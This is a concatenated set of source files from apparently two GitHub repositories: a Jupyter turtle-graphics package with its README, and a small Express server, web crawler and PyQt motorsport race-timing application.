action=function(){ //element.fit(); info.icon.transition({ points:points }, delay); } info.delayed_execution(action, interval); }; """ def pensize(self, size): size_points = [icon_size(x,y,size) for (x,y) in self.icon_points] (x2, y2) = self.position_icon angle = self.direction_radians points = [rotate_translate(x,y,angle,x2,y2) for [x,y] in size_points] self.icon_current_points = points self.lineWidth = size delay = self.delay_seconds() self.defer_later_executions(delay) self.js_info.icon_pensize(points, delay, self.action_delay()) def current_delay(self): return max(0, self.next_execution_time - time.time()) def defer_later_executions(self, seconds): old = self.next_execution_time self.next_execution_time = old + seconds def action_delay(self): now = time.time() ms_interval = (self.next_execution_time - now) * 1000 interval = max(ms_interval, 1) if now > self.next_execution_time: self.next_execution_time = now return interval def execute_when_ready(self, action): if not self.speed_move: # execute immediately return action() now = time.time() ms_interval = (self.next_execution_time - now) * 1000 self.execute_from_javascript(action, ms_interval) def execute_from_javascript(self, action, interval=1): def act_then_reset(): action() now = time.time() #print (" resetting execution time to", now) if now > self.next_execution_time: self.next_execution_time = now interval = max(interval, 1) self.screen.setTimeout(act_then_reset, interval) def delay_seconds(self, distance=0): "Eventually this should return different values based on different speeds and distances" speed = self.speed_move if isinstance(speed,str): if speed == 'normal': speed = 1.0 elif speed == 'slow': speed = 2.0 else: speed = 0.2 return speed reset_js = """ info.reset = function() { info.frame.reset_frame(); info.initialize_frame(); }; """ def clone(self): result = Turtle() result.speed_move = self.speed_move result._color = self._color result.position_icon = self.position_icon result.icon_is_visible = self.icon_is_visible if not(result.icon_is_visible): result.hideturtle() result.setheading((self.direction_radians * 180 / math.pi)) result._drawing = self._drawing return result def reset(self): self.js_info.reset() self.js_info.frame_rect.on("click",self.click_event) self.home() fill_js = """ info.filling = function(points, color, interval) { var action = function() { var fill_polygon = info.frame.polygon({ points:points, color:color, name:true, fill:true, }); }; info.delayed_execution(action, interval); }; """ def fillcolor(self, color): self._filling_color = color def begin_fill(self): if self._filling is False: self._filling = True (x , y) = self.position_icon self._filling_pts = [list((round(x,2),round(y,2)))] def end_fill(self): if self._filling: self._filling = False delay = self.delay_seconds() self.defer_later_executions(delay) self.js_info.filling(self._filling_pts, self._filling_color,self.action_delay()) def log(self, *args, **kwargs): if self.verbose: print(*args, **kwargs) # abbreviations taken from turtle.py fd = forward #bk = back #backward = back back = backward bk = backward rt = right lt = left #position = pos pos = position setpos = goto setposition = goto seth = setheading ht = hideturtle pu = up penup = up pd = down pendown = down pencolor = color<file_sep>/jp_turtle/helper.py """ some helper functions """ import math def rotate_translate(x, y, radians, xt, yt): s = math.sin(radians) c = math.cos(radians) xr = x * c - y * s yr = x * s + y * c return [xr + xt, yr + yt] def icon_size(x, y, size): return [x*(1+(size-1)/10), y*(1+(size-1)/10)] <file_sep>/README.md # jp_turtle [![Binder](https://mybinder.org/badge_logo.svg)](https://mybinder.org/v2/gh/lingruiluo/jp_turtle/master) `jp_turtle` is adapted from the Python turtle programming. It is designed to make it easy to program turtle graphics on Jupyter interface, supported by [`jp_doodle`](https://github.com/AaronWatters/jp_doodle) module which makes implementing special purpose interactive visualizations easy. <p align="center"> <img src="/pics/square_gif.gif" width="350" height="350" /> </p> <br> ## Installation To install the package for use with Jupyter Notebook, follow the instructions below. ### Development install This is for development purpose. ``` pip install -e . ``` ### User install This is for use purpose. ``` pip install git+https://github.com/lingruiluo/jp_turtle.git ``` The module requires `jp_doodle` to implement, you can download the `jp_doodle` package by following ``` pip install git+https://github.com/AaronWatters/jp_doodle.git ``` ### User upgrade ``` pip install git+https://github.com/lingruiluo/jp_turtle.git --upgrade ``` <br> ## Turtle Graphics Turtle graphics are vector graphics using a 'turtle' to control movement and direction. They can be complex patterns consisting of many simple graphics. It is one of the feature of [Logo programming language](https://en.wikipedia.org/wiki/Logo_(programming_language)#Turtle_and_graphics) is Please click the [link](https://en.wikipedia.org/wiki/Turtle_graphics) to read more. <br> ## Examples **Quick References:** Please see the [document](https://github.com/lingruiluo/jp_turtle/blob/master/notebooks/jp_turtle%20quick%20reference.ipynb) to quick start. It will be covering basic functions provided by `jp_turtle`. - **Movement**: distance, direction, speed - **Icon (cursor or 'turtle')**: shape, color, size, hide, show - **Pen**: color, linewidth, up, down - **Screen**: background color, click movement event **Note: The following examples are executable Jupyter notebooks and are supposed to run interactively cell-by-cell.** ||| | - | - | |<img src="/pics/nautilus.png" width="150" height="150" />| **[Nautilus](https://github.com/lingruiluo/jp_turtle/blob/master/notebooks/Nautilus%20example.ipynb)**<br>The nautilus pattern consists of quares.<br> It can be drawn starting from a bigger square and by adjusting squares' direction and decreasing side length.| |<img src="/pics/rainbow square.png" width="150" height="150" />| **[Rainbow Square](https://github.com/lingruiluo/jp_turtle/blob/master/notebooks/Drawing%20Graphics.ipynb)**<br>The rainbow square example uses 7 rainbow colors. The squares will be drawn with increasing movement distance.| |<img src="/pics/tri_spiral1.png" width="150" height="150" /><br><img src="/pics/tri_spiral2.png" width="150" height="150" />|**[Triangle Spirals](https://github.com/lingruiluo/jp_turtle/blob/master/notebooks/Triangle%20Spiral.ipynb)**<br>The spiral made of triangles.| |<img src="/pics/square_pattern.png" width="150" height="150" />|**[Circle Examples](https://github.com/lingruiluo/jp_turtle/blob/master/notebooks/Circle%20examples.ipynb)**<br>This notebook contains several way to create circle patterns. The picture on the left side displays the pattern using 8 3-square patterns with different colors.| |<img src="/pics/random_walk.png" width="150" height="150" />|**[Random Walk](https://github.com/lingruiluo/jp_turtle/blob/master/notebooks/Random%20Walk.ipynb)**<br> This example simulates random walk. | |<img src="/pics/firework.png" width="150" height="150" />|**[Firework](https://github.com/lingruiluo/jp_turtle/blob/master/notebooks/Firework.ipynb)**<br> Fireworks with different colors. | |<img src="/pics/sunflower.png" width="150" height="150" />|**[Sunflower](https://github.com/lingruiluo/jp_turtle/blob/master/notebooks/Sunflower.ipynb)**<br> Sunflower example | |<img src="/pics/signal_pattern.png" width="150" height="150" />|**[No Signal TV Pattern](https://github.com/lingruiluo/jp_turtle/blob/master/notebooks/No%20Signal%20TV%20Pattern.ipynb)**<br> No signal tv pattern | |<img src="/pics/clock.png" width="150" height="150" />|**[Clock](https://github.com/lingruiluo/jp_turtle/blob/master/notebooks/Clock.ipynb)**<br> The example shows the current time on the screen. | |<img src="/pics/bytedesign.png" width="150" height="150" />|**[bytedesign](https://github.com/lingruiluo/jp_turtle/blob/master/notebooks/bytedesign.ipynb)**<br> Adapted from python turtle bytedesign. | <file_sep>/jp_turtle/shape.py """ shape install """ class Shape: def __init__(self, kind, data): self.kind = kind self.data = data def install(self, in_turtle): kind = self.kind if kind == "polygon": in_turtle.icon_points = [[x, y] for [y, x] in self.data] in_turtle.icon_points = [[x*in_turtle.lineWidth, y*in_turtle.lineWidth] for [x,y] in in_turtle.icon_points] in_turtle.forward(0) else: raise ValueError("unknown kind " + repr(kind))<file_sep>/jp_turtle/__init__.py # Module __init__ file for jp_turtle from .jp_turtle import *
f5309a81b86a7a09ca55d26ff050f2fc8ef24efd
[ "Markdown", "Python" ]
8
Python
lingruiluo/jp_turtle
f07c668b812606a48c50e937c2ba9f513e3d96ff
9e40054fdebda35a15ccd789deb32fe03693fa47
refs/heads/master
<file_sep>var express = require("express"); var bodyParser = require("body-parser"); var app = express(); var http = require('http'); const fs = require('fs'); const func = require("./stringfile.js"); var server = http.createServer(app); app.use(bodyParser.json()); app.use(bodyParser.urlencoded({ extended: true })); app.get('/productofnumbers',function(req,res){ let FirstNumber = req.query.FirstNumber; let SecondNumber = req.query.SecondNumber; const product = FirstNumber * SecondNumber; if(!product || isNaN(FirstNumber) || isNaN(SecondNumber)){ res.sendStatus(404); res.end("Not found"); } else{ res.writeHead(200, {"Content-Type": "text/plain"}); res.end("Product of 2 numbers is:" + product); } }); app.get('/writefiletodisk',function(req,res){ var newdata = req.query.newdata; fs.writeFile('server_outputfile.txt',newdata, (err) => { if(err){ res.end(err); } else{ res.statusCode = 200; res.end("File saved . Please check in server_outputfile.txt"); } }); }) app.get('/string',function(req,res){ var str = req.query.str; const result = func.readString(str); res.send(result); }) server.listen(3001,function(){ console.log("Server listening on port 3001"); }); module.exports = server; <file_sep># LBG For reading the file run node create_server.js filepath Run the code with npm start and hit the following urls: For product of parameters http://localhost:3001/productofnumbers?FirstNumber=&SecondNumber= For Write File Contents http://localhost:3001/writefiletodisk?newdata= result will be saved as server_outputfile.txt For reading string http://localhost:3001/string?str= For Web Crawler : run node Crawler.js result will be saved as crawler_output.txt For running test cases : run mocha testing.js <file_sep>var assert = require('assert'); var request = require('request'); const chai = require('chai'); const app = require('./server'); const chaiHttp = require('chai-http'); var should = chai.should(); const func = require("./stringfile.js"); chai.use(chaiHttp); describe('Product of 2 numbers Test', function () { it('should be numbers', function(done) { chai.request(app) .get('/productofnumbers?FirstNumber=3&SecondNumber=ab') .end(function(err, res){ res.should.have.status(404); done(); }); }); it('should be product of two numbers', function(done) { chai.request(app) .get('/productofnumbers?FirstNumber=3&SecondNumber=9') .end(function(err, res){ res.should.have.status(200); done(); }); }); it('should give status 404', function(done) { chai.request(app) .get('/productofnumbers?FirstNumber=&SecondNumber=') .end(function(err, res){ res.should.have.status(404); done(); }); }); }); describe("Write file test", function(){ it("should create a new file", function(done){ chai.request(app) .get('/writefiletodisk?newdata=created new file successfully') .end(function(err, res){ res.should.have.status(200); done(); }); }); }); describe("String test",function(){ var value ; var result; before(function () { value = 'Hello World string'; result = func.readString(value); }); it('should find non repeating character',function(done) { chai.request(app) .get('/string?str=${value}') .end(function(err,res){ res.should.have.status(200); done(); }); }); }); <file_sep>var request = require("request"); var fs = require("fs"); const cheerio = require('cheerio'); request.get("https://www.wiprodigital.com",(error,res,body) =>{ if(error){ return console.dir(error); console.log("network error"); } console.log("request successful"); $ = cheerio.load(body); var link = []; $('a').each(function(index,a){ console.log((($(this).attr('href')).indexOf('wiprodigital.com') != -1)); if (($(this).attr('href')).indexOf('wiprodigital.com') != -1){ link.push($(this).attr('href')+"\n"); } }); $('img').each(function(index,a){ link.push($(this).attr('src')+"\n"); }); fs.writeFile('crawler_output.txt',link, (err) => { if(err){ console.log(err); } else{ console.log('200'); console.log(" saved successfully. Please check crawler_output.txt"); } }); });
eb68b61d053c00286689817d0bf1fa6d3ffebbf1
[ "JavaScript", "Markdown" ]
4
JavaScript
sanidhyasharma/LBG
83b34b3f54819279f27be0decdb5fd76b56e62e3
1518fcbb47e10d1d33d8f7cdd982616ff79f8ba2
refs/heads/master
<repo_name>alcatrazproduction/Chrono<file_sep>/manageRace.py #!/usr/bin/python3 . ###################################################################################### # (c) <NAME>, <EMAIL>, mars 2018 # ###################################################################################### from time import time from PyQt5.QtCore import QTimer, Qt, QTime from PyQt5.QtCore import QCoreApplication from PyQt5.QtGui import QBrush, QIcon from PyQt5.QtWidgets import QTableWidgetItem, QDialog, QMessageBox, QCheckBox from Globals import receiver, colors, decoder, createTimeSeconds from Globals import dictRace, createTime, icons from queue import Queue from gui.Ui_set_RaceLen import Ui_set_RaceLen import Globals # Column width char_width = 7 num_width = 4 * char_width name_width = 26 * char_width laps_width = 8 * char_width time_width = 12 * char_width cols = {} cols["short"] = [0, 0, True] cols["num"] = [1, num_width, False] cols["name"] = [2, name_width, False] cols["laps"] = [3, laps_width, False] cols["time"] = [4, time_width, False] cols["last"] = [5, time_width, False] cols["best"] = [6, time_width, False] cols["partial"] = [None, time_width, False] class manageRace(): cmdStart = "Start" cmdStop = "Stop" cmdSuspend = "Suspend" cmdWaiting = "Waiting" cmdFinish = "Finish" cmdEndTime = "EndTime" _basecol = 7 _duration = 0 _laps = 0 _status = "" start_time = 0 start_time_ms = 0 remain_lap = 0 partials = 0 maxrows = 0 def __init__(self, duration, laps, status=cmdWaiting): self._duration = duration self._laps = laps self._status = status print("manageRace.__init__(%d, %d, %s)"%(duration, laps, status)) def requestDefine( index ): print("def requestDefine(self):") if index == 0: # nothing to do.... return elif index == 1: # Edit the race info dlg = QDialog() gui = Ui_set_RaceLen() gui.setupUi( dlg ) gui.durETimeEdit.setTime( QTime( int( Globals.raceDuration / 3600 ),int( Globals.raceDuration / 60 )%60 ) ) gui.nbTourIntNumInput.setValue( Globals.raceLaps ) dlg.show() if dlg.exec(): Globals.raceLaps = gui.nbTourIntNumInput.value() t = gui.durETimeEdit.time() Globals.raceDuration = t.hour()*3600 + t.minute()*60 Globals.MainWindow.B_Define.setCurrentIndex( 0 ) def stop(self): theRace = Globals.MainWindow.getActualRace() if theRace._status == manageRace.cmdStart or theRace._status == manageRace.cmdEndTime: msg = QMessageBox() msg.setIcon( QMessageBox.Critical) msg.setText( "Arreter la course en cours") msg.setInformativeText( "Tout le classement sera perdu en cas d'arret") msg.setWindowTitle( "Stop de course, Drapeau ROUGE") msg.setStandardButtons( QMessageBox.Ok | QMessageBox.Cancel) msg.setDefaultButton( QMessageBox.Cancel ) chk1 = QCheckBox("Finir le tour") msg.setCheckBox( chk1 ) btn = msg.addButton("Suspendre la course", QMessageBox.ActionRole) if msg.exec() == QMessageBox.Cancel: return if msg.clickedButton() == btn: theRace._status = manageRace.cmdSuspended print( "Suspending Race" ) else: if chk1.isChecked(): print( "Stopping Race, and finishing lap ") theRace._status = manageRace.cmdFinish else: print( "Stopping Race ") theRace._status = manageRace.cmdStop theRace.timer.stop() Globals.MainWindow.B_Stop.setEnabled(False) Globals.MainWindow.B_Start.setEnabled(True) Globals.MainWindow.B_Define.setEnabled(True) elif theRace._status == manageRace.cmdFinish: msg = QMessageBox() msg.setIcon( QMessageBox.Warning) msg.setText( "Tout les concurrents sont hors du parcours") msg.setWindowTitle( "Course terminée, Drapeau Damier") msg.setStandardButtons( QMessageBox.Ok | QMessageBox.Cancel) msg.setDefaultButton( QMessageBox.Cancel ) if msg.exec() == QMessageBox.Cancel: return print( "Race ended, all racer out ") theRace._status = manageRace.cmdStop theRace.timer.stop() Globals.MainWindow.B_Stop.setEnabled(False) Globals.MainWindow.B_Start.setEnabled(True) Globals.MainWindow.B_Define.setEnabled(True) def start(self): if self._status != self.cmdWaiting: return self.bestLap = self._duration * 1000 # init best with max time self.bestLapTb = None # init the transponder info self.bestPartial = {} self._status = self.cmdStart print( self._status ) self.start_time_ms = int( time() * 1000 ) self.start_time = int( self.start_time_ms / 1000 ) self.max_time = self.start_time + self._duration self.remain_lap = -2 Globals.MainWindow.B_Stop.setEnabled(True) Globals.MainWindow.B_Start.setEnabled(False) Globals.MainWindow.B_Define.setEnabled(False) Globals.MainWindow.R_RaceLive.setColumnCount( self._basecol ) for i in cols: if cols[i][0] is not None: Globals.MainWindow.R_RaceLive.setColumnHidden(cols[i][0], cols[i][2]) Globals.MainWindow.R_RaceLive.setColumnWidth( cols[i][0], cols[i][1]) self.maxrows = 0 col = self._basecol for task in receiver: r = receiver[task] r['queue']['race'] = Queue(maxsize=0) t = decoder[ task ]['preferences']['type'] if t != 0: if (t + self._basecol ) > col: col = t + self._basecol Globals.MainWindow.R_RaceLive.setColumnCount( col ) item = QTableWidgetItem(task) Globals.MainWindow.R_RaceLive.setHorizontalHeaderItem(t + self._basecol-1, item) Globals.MainWindow.R_RaceLive.setColumnWidth( t + self._basecol-1, cols["partial"][1]) self.bestPartial[ t ] = self._duration * 1000 # init best with max time self.partials = col - self._basecol Globals.MainWindow.PB_TimeRace.setMaximum( self._duration ) Globals.MainWindow.PB_TimeRace.setProperty("value", 0) self.private = {} self.timer = QTimer() self.timer.timeout.connect(self.update) self.timer.start(1000) def update(self): def setLine( color, row, column, text, icon = None): try: brush = QBrush(color) brush.setStyle(Qt.SolidPattern) i = Globals.MainWindow.R_RaceLive.item( row, column ) if i == None: i = QTableWidgetItem( text ) Globals.MainWindow.R_RaceLive.setItem(row, column, i ) else: i.setText( text ) i.setBackground( brush ) if icon is not None: i.setIcon( icon ) else: i.setIcon( QIcon() ) except Exception as e: print("in update, setLine( color,%d,%d,%s)"%(row, column, text)) print( color ) print( e ) curtime = int( time())-self.start_time if self._status == self.cmdStart: Globals.MainWindow.PB_TimeRace.setFormat( "%s / %s - %%p%%"%( createTimeSeconds( curtime ), createTimeSeconds(self._duration) ) ) elif self._status == self.cmdEndTime: Globals.MainWindow.PB_TimeRace.setFormat( "Time finished: %s, Laps %d/%d - %%p%%"%( createTimeSeconds( curtime ), self.remain_lap, self._laps ) ) elif self._status == self.cmdFinish: Globals.MainWindow.PB_TimeRace.setFormat( "Finish Flag: %s - %%p%%"%( createTimeSeconds( curtime ) ) ) Globals.MainWindow.PB_TimeRace.setProperty("value", curtime ) for task in receiver: r = receiver[task] q = r['queue']['race'] while not q.empty(): e = q.get_nowait() tp = e.tp millis = e.millis type = e.type try: self.doRace( tp, millis, type) except Exception as e: print("in manageRace.update") print( e ) Globals.MainWindow.R_RaceLive.setRowCount( self.maxrows ) l = self._duration*4000 for tp in dictRace: tt = dictRace[tp] if True: #if tt["updated"]: row = tt["row"] setLine( colors["White"], row, cols["short"][0], "%3.3d%-10.10x"%(tt["lapcount"],int(l - tt["remticks"]))) setLine( colors["White"], row, cols["num"][0], "%-3d"%( tt["ridernum"] ) ) setLine( colors["White"], row, cols["name"][0], "%s"%( tt["ridername"] ) ) if tt["ended"]: setLine( colors["White"], row, cols["laps"][0], "%3.3d"%tt["lapcount"], icons["finish flag"]) else: setLine( colors["White"], row, cols["laps"][0], "%3.3d"%tt["lapcount"], None) setLine( colors["White"], row, cols["time"][0], createTime(tt["remticks"])) if tt["lapcount"] >= 0: if tt["lapcount"] >0 and tt["lastlap"] <= self.bestLap: setLine( colors["Violet"], row, cols["last"][0], createTime(tt["lastlap"])) if tt["lastlap"] < self.bestLap: self.bestLap = tt["lastlap"] self.bestLapTb = tt Globals.MainWindow.toolBox.setItemText( Globals.MainWindow.toolBox.indexOf( Globals.MainWindow.P_Race), QCoreApplication.translate("MainWindow", "Course, Meilleur tour: %s => %d, %s dans le tour: %d")% ( createTime(self.bestLap), tt["ridernum"], tt["ridername"], tt["lapcount"] ) ) else: setLine( tt["textcolor"], row, cols["last"][0], createTime(tt["lastlap"])) if tt["lapcount"] > 1: setLine( tt["textcolor"], row, cols["best"][0], createTime(tt["bestlap"])) tick = tt["lasttick"] dur = self._duration * 1000 for i in range( 0, self.partials ): val = tt["partial"][i] - tick if val <= 0 or val>dur or tt["partial"][i] < tt["lasttick"] : txt = "" val = 0 else: txt = createTime( val ) setLine( colors["White"], row, self._basecol + i, txt ) tick = tt["partial"][i] Globals.MainWindow.R_RaceLive.sortItems(0, Qt.DescendingOrder) def doRace( self, tp, millis, type ): lap = 0 raceTime = int(time()) try: if tp in dictRace: # test if transponder it registred tt = dictRace[tp] ptt = self.private[tp] if not tt["ended"]: # has the rider passed the finish flag if type == 0: # finish line crossing lap = millis - tt["lasttick"] tt["lasttick"] = millis tt["lastlap"] = lap tt["remticks"] = time()*1000 - self.start_time_ms tt["time"] = raceTime if tt["lapcount"] >= 0: # the first crossing, it not a full lap if lap < tt["bestlap"]: tt["textcolor"] = colors["Green"] tt["bestlap"] = lap else: tt["textcolor"] = colors["White"] tt["lapcount"] +=1 # add a lap tt["updated"] = True # all updated ptt[0] = tt["lapcount"] ptt[1] = -tt["remticks"] if self.max_time < raceTime: # we have finished the time ..... cl = sorted(self.private.items(), reverse=True, key=lambda t:t[1]) if cl[0][0] == tp: # ok leader passed the line if self.remain_lap == -2: # start for the last laps... self._status = self.cmdEndTime self.remain_lap = self._laps else: self.remain_lap -= 1 if self.remain_lap == 0: self._status = self.cmdFinish tt["ended"] = True if self._status == self.cmdFinish: tt["ended"] = True else: tt["partial"][type-1] = millis tt["updated"] = True else: tt = {} if type == 0: tt["lapcount"] = 0 # R_lapcount else: tt["lapcount"] = -1 # R_lapcount tt["remticks"] = time()*1000 - self.start_time_ms # R_remticks tt["bestlap"] = self._duration*1000 # R_bestlap tt["lastlap"] = 0 # R_lastlap tt["totticks"] = self._duration*1000 # R_totticks if Globals.C_concurrents_TP_fmt%tp in Globals.tpRacerList : c = Globals.racerList[ Globals.tpRacerList[ Globals.C_concurrents_TP_fmt%tp ] ] tt['ridername'] = "%s,%s"%(c['nom'],c['prenom']) # I_ridername tt['ridernum'] = c['numero'] # I_ridernum else: tt["ridername"] ="Unknow TP_%d"%tp tt["ridernum"] = 0 if type == 0: tt["lasttick"] = millis # R_lasttick else: tt["lasttick"] = self.start_time*1000 # R_lasttick tt["updated"] = True # R_updated tt["textcolor"] = colors["Cyan"] # R_textcolor tt["ended"] = False # R_ended tt["partial"] = [] for i in range( 0, self.partials ): if i == ( type - 1 ): tt["partial"].append( millis ) else: tt["partial"].append(0) tt["row"] = self.maxrows dictRace[tp] = tt self.maxrows += 1 ptt = [] ptt.append( tt["lapcount"] ) ptt.append( -tt["remticks"] ) self.private[tp] = ptt except ValueError: print("got an error") <file_sep>/console/best_lap.py import socket import struct import thread import time # Some constant clear_screen = chr(27)+"c" text_black = chr(27)+"[30m" text_red = chr(27)+"[31m" text_green = chr(27)+"[32m" text_blue = chr(27)+"[34m" text_normal = chr(27)+"[27m" text_inverted = chr(27)+"[7m" # index for BestLap I_bestlap = 0 I_lastlap = 1 I_ridername = 2 I_ridernum = 3 I_lasttick = 4 I_lapcount = 5 I_totticks = 6 I_updated = 7 I_textcolor = 8 # index for Race mode R_lapcount = 0 R_remticks = 1 R_bestlap = 2 R_lastlap = 3 R_time = 4 R_ridername = 5 R_ridernum = 6 R_lasttick = 7 R_updated = 8 R_lastpos = 9 R_ended = 10 max_time = 0xFFFFFFFF refresh_rate = 1 race_flag = True race_time_full = 15*60 race_lap_full = 2 race_info = {} race_info.setdefault("end_time", 0.0) race_info.setdefault("lap", 0) race_info.setdefault("run", False) race_info.setdefault("start_time", 0.0) race_info.setdefault("ended", False) rider_name = {} rider_name.setdefault( 901571 , ["Rider 1", 201] ) rider_name.setdefault( 633413 , ["Rider 2", 202] ) rider_name.setdefault( 281517 , ["Rider 3", 203] ) rider_name.setdefault( 211137 , ["Rider 4", 204] ) rider_name.setdefault( 140758 , ["Rider 5", 205] ) rider_name.setdefault( 422275 , ["Rider 6", 206] ) rider_name.setdefault( 563034 , ["Rider 7", 207] ) rider_name.setdefault( 351896 , ["Rider 8", 208] ) rider_name.setdefault( 70379 , ["Rider 9", 209] ) rider_name.setdefault( 492655 , ["Rider 10", 210] ) rider_name.setdefault( 146997 , ["Rider 12", 211] ) rider_name.setdefault( 8224 , ["Rider 13", 212] ) rider_name.setdefault( 12336 , ["Rider 14", 213] ) rider_name.setdefault( 16448 , ["Rider 15", 214] ) rider_name.setdefault( 24672 , ["Rider 16", 215] ) rider_name.setdefault( 28784 , ["Rider 17", 216] ) rider_name.setdefault( 32896 , ["Rider 18", 218] ) rider_name.setdefault( 74565 , ["Rider 19", 219] ) rider_name.setdefault( 4112 , ["Rider 20", 220] ) rider_name.setdefault( 20560 , ["Rider 21", 221] ) rider_name.setdefault( 37008, ["Rider 22", 222] ) def createTime( milli): if milli == max_time: milli = 0 second = ( milli / 4000 ) % 60 minute = ( milli / 4000 / 60 ) % 60 heure = ( milli / 4000 / 3600 ) milli = milli % 4000 return '{:3d}'.format(heure)+':'+'{:02d}'.format(minute)+':'+'{:02d}'.format(second)+'.'+'{:04d}'.format(milli) # *********************************************************************************************************************** # * displayClassementBestLap( ) # * Display the best lap time # * # * Created: 28.01.2018 <NAME> # * # *********************************************************************************************************************** def displayClassementBestLap(): classement = sorted(dictBestLap.items(), key=lambda t:t[1]) print ('============================================================================================') print ('|{:20s}'.format( "Rider Name") + ' | {:8s}'.format( "Dossard") + " | "+ " Best Lap " + " | "+ " Lap Time " + ' | {:15s}'.format("Transponder" ) + ' | {:3s}'.format("Lap")+ ' |') print ('|=====================|==========|================|================|=================|=====|') for rider in classement: try: color = rider[1][I_textcolor] rider[1][I_textcolor] = text_normal + text_black print ( color +'|{:20s}'.format( rider[1][I_ridername]) + ' | {:8d}'.format( rider[1][I_ridernum]) + " | "+createTime( rider[1][I_bestlap]) + " | "+ createTime( rider[1][I_lastlap] ) + ' | {:15d}'.format(rider[0]) + ' | {:3d}'.format(rider[1][I_lapcount])+ ' |') except ( ValueError, IndexError ) as e: print ( e ) print (rider) print (text_normal +text_black+ '|=====================|==========|================|================|=================|=====|') # *********************************************************************************************************************** # * displayClassementBestLap( ) # * Display the best lap time # * # * Created: 28.01.2018 <NAME> # * # *********************************************************************************************************************** def displayClassementRace(): classement = sorted(dictRace.items(), reverse=True, key=lambda t:t[1]) print ('===============================================================================================================') print ('|{:20s}'.format( "Rider Name") + ' | {:8s}'.format( "Dossard") + " | "+ " Best Lap " + " | "+ " Lap Time " + ' | {:15s}'.format("Transp. Race" ) + ' | {:3s}'.format("Lap")+ ' |'+ ' | '+ ' Race Time '+ ' |') print ('|=====================|==========|================|================|=================|=====|=|================|') pos = 0; for rider in classement: try: pos += 1 rr = rider[1] if rr[R_updated]: if pos > rr[R_lastpos]: color = text_inverted + text_red else: if pos < rr[R_lastpos]: color = text_inverted + text_green else: color = text_inverted + text_blue else: color = text_normal + text_black rr[R_updated] = False rr[R_lastpos] = pos if rr[R_ended]: flag="*" else: flag=" " print ( color +'|{:20s}'.format( rr[R_ridername]) + ' | {:8d}'.format( rr[R_ridernum]) + " | "+createTime( rr[R_bestlap]) + " | "+ createTime( rr[R_lastlap] ) + ' | {:15d}'.format(rider[0]) + ' | {:3d}'.format(rr[R_lapcount])+ ' |{:1s}'.format( flag )+ '| '+ createTime(int( ( rr[R_time] - race_info['start_time'] )*4000 ) )+ ' |') except ( ValueError, IndexError ) as e: print ( e ) print (rider) print (text_normal +text_black+ '|=====================|==========|================|================|=================|=====|=|================|') theTime = int( race_info['end_time'] * 4000 ) - int( time.time() * 4000 ) if theTime < 0: if race_info['lap'] == 0: print('Race ended') else: if race_info['lap'] == -2: print ( 'Time ended waiting for laps' ) else: print('Time ended, Laps to go: {:2d}'.format( race_info['lap'])) else: print ( 'Time remaining: {:10s}'.format( createTime( theTime ))) # *********************************************************************************************************************** # * displayResultTask( ) # * Main task to display the results # * # * Created: 28.01.2018 <NAME> # * # *********************************************************************************************************************** def displayResultTask(): while True: print( clear_screen ) print("in display task") if race_flag: print("Display Race classement") displayClassementRace() displayClassementBestLap() time.sleep( refresh_rate) # *********************************************************************************************************************** # * doBestLap( transponder number, ticks in 1/4 of milli-seconds ) # * Build the liste of the best lap time # * # * Created: 28.01.2018 <NAME> # * # *********************************************************************************************************************** def doBestLap( tp, millis ): try: if tp in dictBestLap: tt = dictBestLap[tp] lap = millis - tt[I_lasttick] tt[I_lasttick ] = millis tt[I_lastlap] = lap if lap < tt[I_bestlap]: tt[I_bestlap] = lap tt[I_textcolor] = text_inverted + text_green if lap > tt[I_bestlap]: tt[I_textcolor] = text_inverted + text_red tt[I_lapcount]+=1 tt[I_updated] = True else: dictBestLap.setdefault(tp, []) tt = dictBestLap[tp] tt.append( max_time ) # I_bestlap tt.append( 0 ) # I_lastlap if tp in rider_name : tt.append(rider_name[tp][0]) # I_ridername tt.append(rider_name[tp][1]) # I_ridernum else: tt.append("Unknow") tt.append(0) tt.append(millis) # I_lasttick tt.append( 0 ) # I_lapcount tt.append( 0.999999999 ) # I_totticks tt.append( True ) # I_updated tt.append( text_inverted + text_blue ) # I_textcolor except ValueError: print("got an error") # *********************************************************************************************************************** # * doRace( transponder number, ticks in 1/4 of milli-seconds ) # * Build the liste of the best lap time # * # * Created: 28.01.2018 <NAME> # * #R_lapcount = 0 #R_remticks = 1 #R_bestlap = 2 #R_lastlap = 3 #R_time = 4 #R_ridername = 5 #R_ridernum = 6 #R_lasttick = 7 #R_updated = 8 #R_lastpos = 9 #R_ended =10 # *********************************************************************************************************************** def doRace( tp, millis ): lap = 0 raceTime = time.time() try: if not race_info['run']: return if tp in dictRace: tt = dictRace[tp] if not tt[R_ended]: lap = millis - tt[R_lasttick] tt[R_lasttick ] = millis tt[R_lastlap] = lap tt[R_remticks] = max_time - millis tt[R_time] = raceTime if lap < tt[R_bestlap]: tt[R_bestlap] = lap tt[R_lapcount]+=1 tt[R_updated] = True if race_info['end_time'] < raceTime: # we have finished the time ..... cl = sorted(dictRace.items(), reverse=True, key=lambda t:t[1]) if cl[0][0] == tp: # ok leader passed the line if race_info['lap'] == -2: # start for the last laps... race_info['lap'] = race_lap_full else: race_info['lap'] -= 1 if race_info['lap'] == 0: race_info['ended'] = True tt[R_ended] = True if race_info['ended']: tt[R_ended] = True else: dictRace.setdefault(tp, []) tt = dictRace[tp] tt.append( 0 ) # R_lapcount tt.append( max_time - millis ) # R_remticks tt.append( max_time ) # R_bestlap tt.append( 0 ) # R_lastlap tt.append( raceTime ) # R_totticks if tp in rider_name : tt.append(rider_name[tp][0]) # R_ridername tt.append(rider_name[tp][1]) # R_ridernum else: tt.append("Unknow") tt.append(0) tt.append(millis) # R_lasttick tt.append( True ) # R_updated tt.append( text_inverted + text_blue ) # R_textcolor tt.append( False ) # R_ended except ValueError: print("got an error") multicast_group = '192.168.127.12' server_address = ('', 10000) # Create the socket sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Bind to the server address sock.bind(server_address) # Tell the operating system to add the socket to the multicast group # on all interfaces. group = socket.inet_aton(multicast_group) mreq = struct.pack('4sL', group, socket.INADDR_ANY) sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) dictBestLap = {} dictRace = {} # Create the display Thread display = thread.start_new_thread( displayResultTask, () ) # testing only race_info['start_time'] = time.time() race_info['end_time'] = race_info['start_time'] + race_time_full race_info['lap'] = -2 race_info['run'] = True # Receive/respond loop while True: data, address = sock.recvfrom(1024) tp = int( data[:data.find(" ")]) millis = int( data[data.find(" "):]) doBestLap( tp, millis ) doRace( tp, millis ) <file_sep>/gui/Ui_Set_RacerTp.py # -*- coding: utf-8 -*- # Form implementation generated from reading ui file 